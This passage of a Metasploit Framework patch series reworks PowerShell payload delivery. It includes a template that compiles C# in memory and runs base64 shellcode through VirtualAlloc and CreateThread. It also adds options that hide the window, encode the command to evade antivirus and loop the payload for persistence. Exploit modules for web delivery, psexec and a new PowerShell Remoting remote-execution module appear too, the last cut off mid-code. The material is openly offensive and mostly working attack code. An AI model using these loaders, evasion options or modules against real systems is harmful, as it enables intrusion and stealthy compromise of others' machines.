+    vprint_status("Powershell command length: #{command.length}")
     return command
   end
 
diff --git a/lib/rex/exploitation/powershell.rb b/lib/rex/exploitation/powershell.rb
index 4e352e0d69e7..28424cbc4667 100644
--- a/lib/rex/exploitation/powershell.rb
+++ b/lib/rex/exploitation/powershell.rb
@@ -54,14 +54,11 @@ def compress_code(eof = nil)
 
       # Build the powershell expression
       # Decode base64 encoded command and create a stream object
-      psh_expression =  "$s=New-Object IO.MemoryStream(,"
-      psh_expression << "$([Convert]::FromBase64String('#{encoded_stream}')));"
-      # Uncompress and invoke the expression (execute)
-      psh_expression << "$(IEX $(New-Object IO.StreamReader("
-      psh_expression << "$(New-Object IO.Compression.GzipStream("
-      psh_expression << "$s,"
+      psh_expression =  "IEX(New-Object IO.StreamReader("
+      psh_expression << "(New-Object IO.Compression.GzipStream("
+      psh_expression << "(New-Object IO.MemoryStream(,[Convert]::FromBase64String('#{encoded_stream}'))),"
       psh_expression << "[IO.Compression.CompressionMode]::Decompress)),"
-      psh_expression << "[Text.Encoding]::ASCII)).ReadToEnd());"
+      psh_expression << "[Text.Encoding]::ASCII)).ReadToEnd();"
 
       # If eof is set, add a marker to signify end of code output
       #if (eof && eof.length == 8) then psh_expression += "'#{eof}'" end

From ad308efc05ad077fdd7320e9560acd1782ac0551 Mon Sep 17 00:00:00 2001
From: Meatballs <eat_meatballs@hotmail.co.uk>
Date: Sat, 8 Feb 2014 22:53:47 +0000
Subject: [PATCH 036/108] Really minimize commandline size

---
 .../scripts/to_mem_dotnet.ps1.template        | 48 ++++++++-----------
 lib/msf/core/exploit/powershell.rb            |  5 +-
 lib/msf/util/exe.rb                           | 20 ++++----
 3 files changed, 32 insertions(+), 41 deletions(-)

diff --git a/data/templates/scripts/to_mem_dotnet.ps1.template b/data/templates/scripts/to_mem_dotnet.ps1.template
index 3641ac94ef01..236de4564e01 100644
--- a/data/templates/scripts/to_mem_dotnet.ps1.template
+++ b/data/templates/scripts/to_mem_dotnet.ps1.template
@@ -1,30 +1,24 @@
 Set-StrictMode -Version 2
 $%{var_syscode} = @"
-	using System;
-	using System.Runtime.InteropServices;
-	namespace %{var_kernel32} {
-		public class func {
-			[Flags] public enum AllocationType { Commit = 0x1000, Reserve = 0x2000 }
-			[Flags] public enum MemoryProtection { ExecuteReadWrite = 0x40 }
-			[Flags] public enum Time : uint { Infinite = 0xFFFFFFFF }
-			[DllImport("kernel32.dll")] public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
-			[DllImport("kernel32.dll")] public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
-			[DllImport("kernel32.dll")] public static extern int WaitForSingleObject(IntPtr hHandle, Time dwMilliseconds);
-		}
-	}
+using System;
+using System.Runtime.InteropServices;
+namespace %{var_kernel32} {
+public class func {
+[DllImport("kernel32.dll")]public static extern IntPtr VirtualAlloc(IntPtr a,uint b,uint c,uint d);
+[DllImport("kernel32.dll")]public static extern IntPtr CreateThread(IntPtr e,uint f,IntPtr g,IntPtr h,uint i,IntPtr j);
+[DllImport("kernel32.dll")]public static extern int WaitForSingleObject(IntPtr k,int l);
+}
+}
 "@
-
-$%{var_codeProvider} = New-Object Microsoft.CSharp.CSharpCodeProvider
-$%{var_compileParams} = New-Object System.CodeDom.Compiler.CompilerParameters
-$%{var_compileParams}.ReferencedAssemblies.AddRange(@("System.dll", [PsObject].Assembly.Location))
-$%{var_compileParams}.GenerateInMemory = $True
-$%{var_output} = $%{var_codeProvider}.CompileAssemblyFromSource($%{var_compileParams}, $%{var_syscode})
-
-[Byte[]]$%{var_code} = [System.Convert]::FromBase64String("%{b64shellcode}")
-
-$%{var_baseaddr} = [%{var_kernel32}.func]::VirtualAlloc(0, $%{var_code}.Length + 1, [%{var_kernel32}.func+AllocationType]::Reserve -bOr [%{var_kernel32}.func+AllocationType]::Commit, [%{var_kernel32}.func+MemoryProtection]::ExecuteReadWrite)
-if ([Bool]!$%{var_baseaddr}) { $global:result = 3; return }
-[System.Runtime.InteropServices.Marshal]::Copy($%{var_code}, 0, $%{var_baseaddr}, $%{var_code}.Length)
-[IntPtr] $%{var_threadHandle} = [%{var_kernel32}.func]::CreateThread(0,0,$%{var_baseaddr},0,0,0)
-if ([Bool]!$%{var_threadHandle}) { $global:result = 7; return }
-$%{var_temp} = [%{var_kernel32}.func]::WaitForSingleObject($%{var_threadHandle}, [%{var_kernel32}.func+Time]::Infinite)
+$%{var_codeProvider}=New-Object Microsoft.CSharp.CSharpCodeProvider
+$%{var_compileParams}=New-Object System.CodeDom.Compiler.CompilerParameters
+$%{var_compileParams}.ReferencedAssemblies.AddRange(@("System.dll",[PsObject].Assembly.Location))
+$%{var_compileParams}.GenerateInMemory=$True
+$%{var_output}=$%{var_codeProvider}.CompileAssemblyFromSource($%{var_compileParams},$%{var_syscode})
+[Byte[]]$%{var_code}=[System.Convert]::FromBase64String("%{b64shellcode}")
+$%{var_baseaddr}=[%{var_kernel32}.func]::VirtualAlloc(0,$%{var_code}.Length+1,0x3000,0x40)
+if([Bool]!$%{var_baseaddr}){$global:result=3;return}
+[System.Runtime.InteropServices.Marshal]::Copy($%{var_code},0,$%{var_baseaddr},$%{var_code}.Length)
+[IntPtr] $%{var_threadHandle}=[%{var_kernel32}.func]::CreateThread(0,0,$%{var_baseaddr},0,0,0)
+if([Bool]!$%{var_threadHandle}){$global:result=7;return}
+[%{var_kernel32}.func]::WaitForSingleObject($%{var_threadHandle},0xFFFFFFFF)
diff --git a/lib/msf/core/exploit/powershell.rb b/lib/msf/core/exploit/powershell.rb
index 206bb523fb5a..36a021ae88bf 100644
--- a/lib/msf/core/exploit/powershell.rb
+++ b/lib/msf/core/exploit/powershell.rb
@@ -187,9 +187,6 @@ def run_hidden_psh(ps_code, payload_arch, encoded)
 $s.FileName=$b
 $s.Arguments='#{ps_args}'
 $s.UseShellExecute=$false
-$s.RedirectStandardOutput=$true
-$s.WindowStyle='Hidden'
-$s.CreateNoWindow=$true
 $p=[System.Diagnostics.Process]::Start($s)
 EOS
     process_start_info.gsub!("\n",';')
@@ -204,7 +201,6 @@ def run_hidden_psh(ps_code, payload_arch, encoded)
 }else{$b='powershell.exe'}};
 EOS
     archictecure_detection.gsub!("\n","")
-    archictecure_detection.gsub!("\s\s","")
 
     return (archictecure_detection + process_start_info)
   end
@@ -219,6 +215,7 @@ def cmd_psh_payload(pay, payload_arch, opts={})
     else
       psh_payload = Msf::Util::EXE.to_win32pe_psh_net(framework, pay)
     end
+
     # Run our payload in a while loop
     if datastore['PSH::persist']
       fun_name = Rex::Text.rand_text_alpha(rand(2)+2)
diff --git a/lib/msf/util/exe.rb b/lib/msf/util/exe.rb
index a5d4fc147f83..f56945c40856 100644
--- a/lib/msf/util/exe.rb
+++ b/lib/msf/util/exe.rb
@@ -889,17 +889,17 @@ def self.to_mem_aspx(framework, code, exeopts={})
   end
 
   def self.to_win32pe_psh_net(framework, code, opts={})
-    hash_sub = {}
-    hash_sub[:var_code] 		= Rex::Text.rand_text_alpha(rand(8)+8)
-    hash_sub[:var_kernel32] 	= Rex::Text.rand_text_alpha(rand(8)+8)
-    hash_sub[:var_baseaddr] 	= Rex::Text.rand_text_alpha(rand(8)+8)
-    hash_sub[:var_threadHandle] 	= Rex::Text.rand_text_alpha(rand(8)+8)
-    hash_sub[:var_output] 		= Rex::Text.rand_text_alpha(rand(8)+8)
-    hash_sub[:var_temp] 		= Rex::Text.rand_text_alpha(rand(8)+8)
-    hash_sub[:var_codeProvider] 	= Rex::Text.rand_text_alpha(rand(8)+8)
-    hash_sub[:var_compileParams] 	= Rex::Text.rand_text_alpha(rand(8)+8)
-    hash_sub[:var_syscode] 		= Rex::Text.rand_text_alpha(rand(8)+8)
+    rig = Rex::RandomIdentifierGenerator.new()
+    rig.init_var(:var_code)
+    rig.init_var(:var_kernel32)
+    rig.init_var(:var_baseaddr)
+    rig.init_var(:var_threadHandle)
+    rig.init_var(:var_output)
+    rig.init_var(:var_codeProvider)
+    rig.init_var(:var_compileParams)
+    rig.init_var(:var_syscode)
 
+    hash_sub = rig.to_h
     hash_sub[:b64shellcode] = Rex::Text.encode_base64(code)
 
     return read_replace_script_template("to_mem_dotnet.ps1.template", hash_sub).gsub(/(?<!\r)\n/, "\r\n")

From f398c982e38b678bace76668f2f273d652a656ce Mon Sep 17 00:00:00 2001
From: Meatballs <eat_meatballs@hotmail.co.uk>
Date: Sat, 8 Feb 2014 23:51:13 +0000
Subject: [PATCH 037/108] Include option to ensure payload is fully encoded

---
 lib/msf/core/exploit/powershell.rb | 43 +++++++++++++++++-------------
 1 file changed, 25 insertions(+), 18 deletions(-)

diff --git a/lib/msf/core/exploit/powershell.rb b/lib/msf/core/exploit/powershell.rb
index 36a021ae88bf..004edeb708da 100644
--- a/lib/msf/core/exploit/powershell.rb
+++ b/lib/msf/core/exploit/powershell.rb
@@ -225,32 +225,39 @@ def cmd_psh_payload(pay, payload_arch, opts={})
       psh_payload << "while(1){Start-Sleep -s #{sleep_time};#{fun_name};1};"
     end
 
-    compressed = compress_script(psh_payload)
-    encoded = encode_script(psh_payload)
+    compressed_payload = compress_script(psh_payload)
+    encoded_payload = encode_script(psh_payload)
 
-    if (encoded.length <= compressed.length)
-      smallest_payload = encoded
-      enc = true
+    if (encoded_payload.length <= compressed_payload.length)
+      smallest_payload = encoded_payload
+      encoded = true
     else
-      smallest_payload = compressed
-      enc = false
+      smallest_payload = compressed_payload
+      encoded = false
     end
 
     # Wrap in hidden runtime / architecture detection
-    final_payload = run_hidden_psh(smallest_payload, payload_arch, enc)
+    final_payload = run_hidden_psh(smallest_payload, payload_arch, encoded)
 
-    if opts[:use_single_quotes]
-      # Escape Single Quotes
-      final_payload.gsub!("'","''")
-      # Wrap in quotes
-      final_payload = "'#{final_payload}'"
+    command_args = {
+      :noprofile => true,
+      :windowstyle => 'hidden'
+    }
+
+    if opts[:encode_final_payload]
+      command_args[:encodedcommand] = encode_script(final_payload)
+    else
+      if opts[:use_single_quotes]
+        # Escape Single Quotes
+        final_payload.gsub!("'","''")
+        # Wrap in quotes
+        final_payload = "'#{final_payload}'"
+      end
+
+      command_args[:command] = final_payload
     end
 
-    psh_command = generate_psh_command_line({
-                      :noprofile => true,
-                      :windowstyle => 'hidden',
-                      :command => final_payload
-    })
+    psh_command = generate_psh_command_line(command_args)
 
     if opts[:remove_comspec]
       command = psh_command

From 02f1ff27eef399f35d73e639e9c7d4728d69ddda Mon Sep 17 00:00:00 2001
From: Meatballs <eat_meatballs@hotmail.co.uk>
Date: Sun, 9 Feb 2014 00:55:26 +0000
Subject: [PATCH 038/108] Add option to encode inner payload

---
 lib/msf/core/exploit/powershell.rb | 18 +++++++++++++++---
 1 file changed, 15 insertions(+), 3 deletions(-)

diff --git a/lib/msf/core/exploit/powershell.rb b/lib/msf/core/exploit/powershell.rb
index 004edeb708da..0930a7a790df 100644
--- a/lib/msf/core/exploit/powershell.rb
+++ b/lib/msf/core/exploit/powershell.rb
@@ -228,12 +228,24 @@ def cmd_psh_payload(pay, payload_arch, opts={})
     compressed_payload = compress_script(psh_payload)
     encoded_payload = encode_script(psh_payload)
 
-    if (encoded_payload.length <= compressed_payload.length)
+    if encoded_payload.length <= compressed_payload.length
       smallest_payload = encoded_payload
       encoded = true
     else
-      smallest_payload = compressed_payload
-      encoded = false
+      # Don't use this with :encode_final_payload or it will be massive
+      if opts[:encode_inner_payload] && !opts[:encode_final_payload]
+        encoded = true
+        compressed_encoded_payload = encode_script(compressed_payload)
+
+        if encoded_payload.length <= compressed_encoded_payload.length
+          smallest_payload = encoded_payload
+        else
+          smallest_payload = compressed_encoded_payload
+        end
+      else
+        smallest_payload = compressed_payload
+        encoded = false
+      end
     end
 
     # Wrap in hidden runtime / architecture detection

From f1959f5313784b27587c70d5e72ea1a3dedad04d Mon Sep 17 00:00:00 2001
From: Meatballs <eat_meatballs@hotmail.co.uk>
Date: Sun, 9 Feb 2014 11:18:15 +0000
Subject: [PATCH 039/108] Fixup WMI

---
 modules/exploits/windows/local/wmi.rb | 1 +
 1 file changed, 1 insertion(+)

diff --git a/modules/exploits/windows/local/wmi.rb b/modules/exploits/windows/local/wmi.rb
index e57b010dbfd4..1ed8741ec9ef 100644
--- a/modules/exploits/windows/local/wmi.rb
+++ b/modules/exploits/windows/local/wmi.rb
@@ -82,6 +82,7 @@ def exploit
                             payload_instance.arch.first,
                             {
                                 :remove_comspec => true,
+                                :encode_inner_payload => true,
                                 :use_single_quotes => true
                             })
       chunks = split_code(psh, 1000)

From 1f9b452425840018d9f23488b833e8a3d793c844 Mon Sep 17 00:00:00 2001
From: Meatballs <eat_meatballs@hotmail.co.uk>
Date: Sun, 9 Feb 2014 11:23:39 +0000
Subject: [PATCH 040/108] Dont tidy up template yet

---
 .../scripts/to_mem_dotnet.ps1.template        | 48 +++++++++++--------
 lib/msf/util/exe.rb                           |  3 +-
 2 files changed, 29 insertions(+), 22 deletions(-)

diff --git a/data/templates/scripts/to_mem_dotnet.ps1.template b/data/templates/scripts/to_mem_dotnet.ps1.template
index 236de4564e01..3641ac94ef01 100644
--- a/data/templates/scripts/to_mem_dotnet.ps1.template
+++ b/data/templates/scripts/to_mem_dotnet.ps1.template
@@ -1,24 +1,30 @@
 Set-StrictMode -Version 2
 $%{var_syscode} = @"
-using System;
-using System.Runtime.InteropServices;
-namespace %{var_kernel32} {
-public class func {
-[DllImport("kernel32.dll")]public static extern IntPtr VirtualAlloc(IntPtr a,uint b,uint c,uint d);
-[DllImport("kernel32.dll")]public static extern IntPtr CreateThread(IntPtr e,uint f,IntPtr g,IntPtr h,uint i,IntPtr j);
-[DllImport("kernel32.dll")]public static extern int WaitForSingleObject(IntPtr k,int l);
-}
-}
+	using System;
+	using System.Runtime.InteropServices;
+	namespace %{var_kernel32} {
+		public class func {
+			[Flags] public enum AllocationType { Commit = 0x1000, Reserve = 0x2000 }
+			[Flags] public enum MemoryProtection { ExecuteReadWrite = 0x40 }
+			[Flags] public enum Time : uint { Infinite = 0xFFFFFFFF }
+			[DllImport("kernel32.dll")] public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
+			[DllImport("kernel32.dll")] public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
+			[DllImport("kernel32.dll")] public static extern int WaitForSingleObject(IntPtr hHandle, Time dwMilliseconds);
+		}
+	}
 "@
-$%{var_codeProvider}=New-Object Microsoft.CSharp.CSharpCodeProvider
-$%{var_compileParams}=New-Object System.CodeDom.Compiler.CompilerParameters
-$%{var_compileParams}.ReferencedAssemblies.AddRange(@("System.dll",[PsObject].Assembly.Location))
-$%{var_compileParams}.GenerateInMemory=$True
-$%{var_output}=$%{var_codeProvider}.CompileAssemblyFromSource($%{var_compileParams},$%{var_syscode})
-[Byte[]]$%{var_code}=[System.Convert]::FromBase64String("%{b64shellcode}")
-$%{var_baseaddr}=[%{var_kernel32}.func]::VirtualAlloc(0,$%{var_code}.Length+1,0x3000,0x40)
-if([Bool]!$%{var_baseaddr}){$global:result=3;return}
-[System.Runtime.InteropServices.Marshal]::Copy($%{var_code},0,$%{var_baseaddr},$%{var_code}.Length)
-[IntPtr] $%{var_threadHandle}=[%{var_kernel32}.func]::CreateThread(0,0,$%{var_baseaddr},0,0,0)
-if([Bool]!$%{var_threadHandle}){$global:result=7;return}
-[%{var_kernel32}.func]::WaitForSingleObject($%{var_threadHandle},0xFFFFFFFF)
+
+$%{var_codeProvider} = New-Object Microsoft.CSharp.CSharpCodeProvider
+$%{var_compileParams} = New-Object System.CodeDom.Compiler.CompilerParameters
+$%{var_compileParams}.ReferencedAssemblies.AddRange(@("System.dll", [PsObject].Assembly.Location))
+$%{var_compileParams}.GenerateInMemory = $True
+$%{var_output} = $%{var_codeProvider}.CompileAssemblyFromSource($%{var_compileParams}, $%{var_syscode})
+
+[Byte[]]$%{var_code} = [System.Convert]::FromBase64String("%{b64shellcode}")
+
+$%{var_baseaddr} = [%{var_kernel32}.func]::VirtualAlloc(0, $%{var_code}.Length + 1, [%{var_kernel32}.func+AllocationType]::Reserve -bOr [%{var_kernel32}.func+AllocationType]::Commit, [%{var_kernel32}.func+MemoryProtection]::ExecuteReadWrite)
+if ([Bool]!$%{var_baseaddr}) { $global:result = 3; return }
+[System.Runtime.InteropServices.Marshal]::Copy($%{var_code}, 0, $%{var_baseaddr}, $%{var_code}.Length)
+[IntPtr] $%{var_threadHandle} = [%{var_kernel32}.func]::CreateThread(0,0,$%{var_baseaddr},0,0,0)
+if ([Bool]!$%{var_threadHandle}) { $global:result = 7; return }
+$%{var_temp} = [%{var_kernel32}.func]::WaitForSingleObject($%{var_threadHandle}, [%{var_kernel32}.func+Time]::Infinite)
diff --git a/lib/msf/util/exe.rb b/lib/msf/util/exe.rb
index f56945c40856..cdf83fb26a35 100644
--- a/lib/msf/util/exe.rb
+++ b/lib/msf/util/exe.rb
@@ -884,7 +884,7 @@ def self.to_mem_aspx(framework, code, exeopts={})
 
     hash_sub = rig.to_h
     hash_sub[:shellcode] = Rex::Text.to_csharp(code, 100, rig[:var_bytearray])
-  
+
     return read_replace_script_template("to_mem.aspx.template", hash_sub)
   end
 
@@ -898,6 +898,7 @@ def self.to_win32pe_psh_net(framework, code, opts={})
     rig.init_var(:var_codeProvider)
     rig.init_var(:var_compileParams)
     rig.init_var(:var_syscode)
+    rig.init_var(:var_temp)
 
     hash_sub = rig.to_h
     hash_sub[:b64shellcode] = Rex::Text.encode_base64(code)

From a00481beb47779c92d2c80a7a5057db8bd2c3772 Mon Sep 17 00:00:00 2001
From: Meatballs <eat_meatballs@hotmail.co.uk>
Date: Sun, 9 Feb 2014 11:47:15 +0000
Subject: [PATCH 041/108] Auto target psexec/psh_web

---
 .../exploits/windows/misc/psh_web_delivery.rb | 26 ++++++++-----------
 modules/exploits/windows/smb/psexec_psh.rb    | 16 +++++-------
 2 files changed, 18 insertions(+), 24 deletions(-)

diff --git a/modules/exploits/windows/misc/psh_web_delivery.rb b/modules/exploits/windows/misc/psh_web_delivery.rb
index a0256fe787d6..4bbacfa1040a 100644
--- a/modules/exploits/windows/misc/psh_web_delivery.rb
+++ b/modules/exploits/windows/misc/psh_web_delivery.rb
@@ -14,8 +14,8 @@ class Metasploit3 < Msf::Exploit::Remote
 
   def initialize(info = {})
     super(update_info(info,
-      'Name'		 => 'PowerShell Payload Web Delivery',
-      'Description'	 => %q{
+      'Name' => 'PowerShell Payload Web Delivery',
+      'Description' => %q{
         This module quickly fires up a web server that serves the payload in PowerShell.
         The provided command will start PowerShell and then download and execute the
         payload. The IEX command can also be extracted to execute directly from PowerShell.
@@ -23,36 +23,32 @@ def initialize(info = {})
         machine when the attacker has to manually type in the command himself, e.g. RDP
         Session, Local Access or maybe Remote Command Exec. This attack vector does not
         write to disk so is less likely to trigger AV solutions and will allow privilege
-        escalations supplied by Meterpreter. Ensure the payload architecture matches the
-        target computer or use SYSWOW64 powershell.exe to execute x86 payloads on x64 machines.
+        escalations supplied by Meterpreter.
       },
-      'License'	 => MSF_LICENSE,
-      'Author'	 =>
+      'License' => MSF_LICENSE,
+      'Author' =>
         [
           'Ben Campbell <eat_meatballs[at]hotmail.co.uk>',
           'Chris Campbell' #@obscuresec - Inspiration n.b. no relation!
         ],
-      'References'	 =>
+      'References' =>
         [
           [ 'URL', 'http://www.pentestgeek.com/2013/07/19/invoke-shellcode/' ],
           [ 'URL', 'http://www.powershellmagazine.com/2013/04/19/pstip-powershell-command-line-switches-shortcuts/'],
           [ 'URL', 'http://www.darkoperator.com/blog/2013/3/21/powershell-basics-execution-policy-and-code-signing-part-2.html']
         ],
-      'Platform'	 => 'win',
-      'Targets'	 =>
+      'Platform' => 'win',
+      'Targets' =>
         [
-          [ 'Windows x86', { 'Arch' => ARCH_X86 } ],
-          [ 'Windows x64', { 'Arch' => ARCH_X86_64 } ]
+          [ 'Automatic', { 'Arch' => [ARCH_X86, ARCH_X86_64] } ]
         ],
-      'DefaultTarget'  => 0,
+      'DefaultTarget' => 0,
       'DisclosureDate' => 'Jul 19 2013'))
   end
 
   def on_request_uri(cli, request)
     print_status("Delivering Payload")
-    data = Msf::Util::EXE.to_win32pe_psh_net(framework,
-                                             payload.encoded,
-                                             )
+
     psh = cmd_psh_payload(payload.encoded,
                           payload_instance.arch.first,
                           {
diff --git a/modules/exploits/windows/smb/psexec_psh.rb b/modules/exploits/windows/smb/psexec_psh.rb
index 546b41dbf2c2..f481652ee897 100644
--- a/modules/exploits/windows/smb/psexec_psh.rb
+++ b/modules/exploits/windows/smb/psexec_psh.rb
@@ -23,13 +23,12 @@ def initialize(info = {})
         payload using a similar technique to the "psexec" utility provided by SysInternals. The
         payload is encoded in base64 and executed from the commandline using the -encodedcommand
         flag. Using this method, the payload is never written to disk, and given that each payload
-        is unique, is less prone to signature based detection. Since executing shellcode in .NET
-        requires the use of system resources from unmanaged memory space, the .NET (PSH) architecture
-        must match that of the payload. Lastly, a persist option is provided to execute the payload
-        in a while loop in order to maintain a form of persistence. In the event of a sandbox
-        observing PSH execution, a delay and other obfuscation may be added to avoid detection.
-        In order to avoid interactive process notifications for the current user, the psh payload has
-        been reduced in size and wrapped in a powershell invocation which hides the window entirely.
+        is unique, is less prone to signature based detection. A persist option is provided to
+        execute the payload in a while loop in order to maintain a form of persistence. In the
+        event of a sandbox observing PSH execution, a delay and other obfuscation may be added to
+        avoid detection. In order to avoid interactive process notifications for the current user,
+        the psh payload has been reduced in size and wrapped in a powershell invocation which hides
+        the window entirely.
       },
 
       'Author'         => [
@@ -46,8 +45,7 @@ def initialize(info = {})
       'Platform'       => 'win',
       'Targets'        =>
         [
-          [ 'Windows x86', { 'Arch' => ARCH_X86 } ],
-          [ 'Windows x64', { 'Arch' => ARCH_X86_64 } ]
+          [ 'Automatic', { 'Arch' => [ ARCH_X86, ARCH_X86_64 ] } ]
         ],
       'DefaultTarget'  => 0,
       'DisclosureDate' => 'Jan 01 1999',

From 0379dc128c42d20c6a8257f7ab00c5e71f4cdb21 Mon Sep 17 00:00:00 2001
From: Meatballs <eat_meatballs@hotmail.co.uk>
Date: Sun, 9 Feb 2014 12:15:02 +0000
Subject: [PATCH 042/108] Raise exception on known issues

---
 lib/msf/core/exploit/powershell.rb | 22 ++++++++++++++++++----
 1 file changed, 18 insertions(+), 4 deletions(-)

diff --git a/lib/msf/core/exploit/powershell.rb b/lib/msf/core/exploit/powershell.rb
index 0930a7a790df..df384bc38415 100644
--- a/lib/msf/core/exploit/powershell.rb
+++ b/lib/msf/core/exploit/powershell.rb
@@ -94,8 +94,14 @@ def generate_psh_command_line(opts)
       opts[:path] << "\\"
     end
 
+    if opts[:no_full_stop]
+      binary = "powershell"
+    else
+      binary = "powershell.exe"
+    end
+
     args = generate_psh_args(opts)
-    return "#{opts[:path]}powershell.exe #{args}"
+    return "#{opts[:path]}#{binary} #{args}"
   end
 
   #
@@ -176,7 +182,7 @@ def run_hidden_psh(ps_code, payload_arch, encoded)
 
     ps_args = generate_psh_args(arg_opts)
 
-    if payload_arch ==  'x86'
+    if payload_arch == 'x86'
       arch_x86 = '$True'
     else
       arch_x86 = '$False'
@@ -209,6 +215,11 @@ def run_hidden_psh(ps_code, payload_arch, encoded)
   # Creates cmd script to execute psh payload
   #
   def cmd_psh_payload(pay, payload_arch, opts={})
+
+    if opts[:encode_inner_payload] && opts[:encode_final_payload]
+      raise RuntimeError, "Encoding both the inner payload and final payload will generate a huge command line"
+    end
+
     # Allow powershell 1.0 format
     if opts[:old_psh] || datastore['PSH::old_technique']
       psh_payload = Msf::Util::EXE.to_win32pe_psh(framework, pay)
@@ -232,8 +243,7 @@ def cmd_psh_payload(pay, payload_arch, opts={})
       smallest_payload = encoded_payload
       encoded = true
     else
-      # Don't use this with :encode_final_payload or it will be massive
-      if opts[:encode_inner_payload] && !opts[:encode_final_payload]
+      if opts[:encode_inner_payload]
         encoded = true
         compressed_encoded_payload = encode_script(compressed_payload)
 
@@ -278,6 +288,10 @@ def cmd_psh_payload(pay, payload_arch, opts={})
     end
 
     vprint_status("Powershell command length: #{command.length}")
+    if command.length > 8191
+      raise RuntimeError, "Powershell command length is greater than the command line maximum (8192 characters)"
+    end
+
     return command
   end
 

From 77dda5dc67a7c317de6de1e4c713bd42dd4351d3 Mon Sep 17 00:00:00 2001
From: Meatballs <eat_meatballs@hotmail.co.uk>
Date: Sun, 9 Feb 2014 12:34:25 +0000
Subject: [PATCH 043/108] Give option to remove badchars

---
 lib/msf/core/exploit/powershell.rb | 13 +++++++++++--
 1 file changed, 11 insertions(+), 2 deletions(-)

diff --git a/lib/msf/core/exploit/powershell.rb b/lib/msf/core/exploit/powershell.rb
index df384bc38415..24fcebe93a01 100644
--- a/lib/msf/core/exploit/powershell.rb
+++ b/lib/msf/core/exploit/powershell.rb
@@ -264,15 +264,24 @@ def cmd_psh_payload(pay, payload_arch, opts={})
     command_args = {
       :noprofile => true,
       :windowstyle => 'hidden'
-    }
+    }.merge(opts)
 
     if opts[:encode_final_payload]
       command_args[:encodedcommand] = encode_script(final_payload)
+
+      # If '=' is a bad character pad the payload until Base64 encoded
+      # payload contains none.
+      if opts[:no_equals]
+        while command_args[:encodedcommand].include? '='
+          final_payload << " "
+          command_args[:encodedcommand] = encode_script(final_payload)
+        end
+      end
     else
       if opts[:use_single_quotes]
         # Escape Single Quotes
         final_payload.gsub!("'","''")
-        # Wrap in quotes
+        # Wrap command in quotes
         final_payload = "'#{final_payload}'"
       end
 

From 151e45d8d10cdb2077ab9bd4358c48025ca1ae4e Mon Sep 17 00:00:00 2001
From: Meatballs <eat_meatballs@hotmail.co.uk>
Date: Sun, 9 Feb 2014 12:52:56 +0000
Subject: [PATCH 044/108] Better exception descriptions

---
 lib/msf/core/exploit/powershell.rb | 6 +++++-
 1 file changed, 5 insertions(+), 1 deletion(-)

diff --git a/lib/msf/core/exploit/powershell.rb b/lib/msf/core/exploit/powershell.rb
index 24fcebe93a01..ac32e2e602b0 100644
--- a/lib/msf/core/exploit/powershell.rb
+++ b/lib/msf/core/exploit/powershell.rb
@@ -217,7 +217,11 @@ def run_hidden_psh(ps_code, payload_arch, encoded)
   def cmd_psh_payload(pay, payload_arch, opts={})
 
     if opts[:encode_inner_payload] && opts[:encode_final_payload]
-      raise RuntimeError, "Encoding both the inner payload and final payload will generate a huge command line"
+      raise RuntimeError, ":encode_inner_payload and :encode_final_payload are incompatible options"
+    end
+
+    if opts[:no_equals] && !opts[:encode_final_payload]
+      raise RuntimeError, ":no_equals requires :encode_final_payload option to be used"
     end
 
     # Allow powershell 1.0 format

From 2cea90f9318b9d94e83bb375d35fdec1693a909a Mon Sep 17 00:00:00 2001
From: Meatballs <eat_meatballs@hotmail.co.uk>
Date: Sun, 9 Feb 2014 17:43:44 +0000
Subject: [PATCH 045/108] Working remoting

---
 .../windows/local/powershell_remoting.rb      | 132 ++++++++++++++++++
 1 file changed, 132 insertions(+)
 create mode 100644 modules/exploits/windows/local/powershell_remoting.rb

diff --git a/modules/exploits/windows/local/powershell_remoting.rb b/modules/exploits/windows/local/powershell_remoting.rb
new file mode 100644
index 000000000000..52d56bd72e3e
--- /dev/null
+++ b/modules/exploits/windows/local/powershell_remoting.rb
@@ -0,0 +1,132 @@
+##
+# This module requires Metasploit: http//metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+require 'rex'
+
+class Metasploit3 < Msf::Exploit::Local
+  Rank = ExcellentRanking
+
+  include Msf::Exploit::Powershell
+
+  def initialize(info={})
+    super( update_info( info,
+        'Name'          => 'Powershell Remoting Remote Command Execution',
+        'Description'   => %q{
+          Uses Powershell Remoting (TCP 47001) to inject payloads on target machines.
+        If RHOSTS are specified it will try to resolve the IPs to hostnames, otherwise
+        use a HOSTFILE to supply a list of known hostnames.
+        },
+        'License'       => MSF_LICENSE,
+        'Author'        => [
+            'Ben Campbell <eat_meatballs[at]hotmail.co.uk>'
+          ],
+        'References'    =>
+          [
+            [ 'CVE', '1999-0504'], # Administrator with no password (since this is the default)
+            [ 'OSVDB', '3106'],
+          ],
+        'DefaultOptions' =>
+            {
+                'EXITFUNC' => 'thread',
+                'WfsDelay' => '60',
+            },
+        'DisclosureDate' => 'Jan 01 1999',
+        'Platform'      => [ 'win' ],
+        'SessionTypes'  => [ 'meterpreter' ],
+        'Targets' =>
+        [
+            [ 'Automatic', { 'Arch' => [ ARCH_X86, ARCH_X86_64 ] } ]
+        ],
+        'DefaultTarget' => 0
+      ))
+
+    register_options([
+      OptString.new('SMBUser', [ false, 'The username to authenticate as' ]),
+      OptString.new('SMBPass', [ false, 'The password for the specified username' ]),
+      OptString.new('SMBDomain',  [ false, 'The Windows domain to use for authentication' ]),
+      OptAddressRange.new("RHOSTS", [ false, "Target address range or CIDR identifier" ]),
+      OptPath.new('HOSTFILE', [ false, 'Line separated file with hostnames to target' ]),
+      # Move this out of advanced
+      OptString.new('ReverseListenerComm', [ false, 'The specific communication channel to use for this listener'])
+    ])
+  end
+
+  def exploit
+    unless datastore['RHOSTS'] || datastore['HOSTFILE']
+      fail_with(Failure::BadConfig, "Need RHOSTS or HOSTFILE specified.")
+    end
+
+    if datastore['SMBUser'] and datastore['SMBPass'].nil?
+      fail_with(Failure::BadConfig, "Need both username and password set.")
+    end
+
+    if datastore['RHOSTS']
+      ip_list = "$iplist="
+      Rex::Socket::RangeWalker.new(datastore["RHOSTS"]).each do |ip|
+        ip_list << "'#{ip}',"
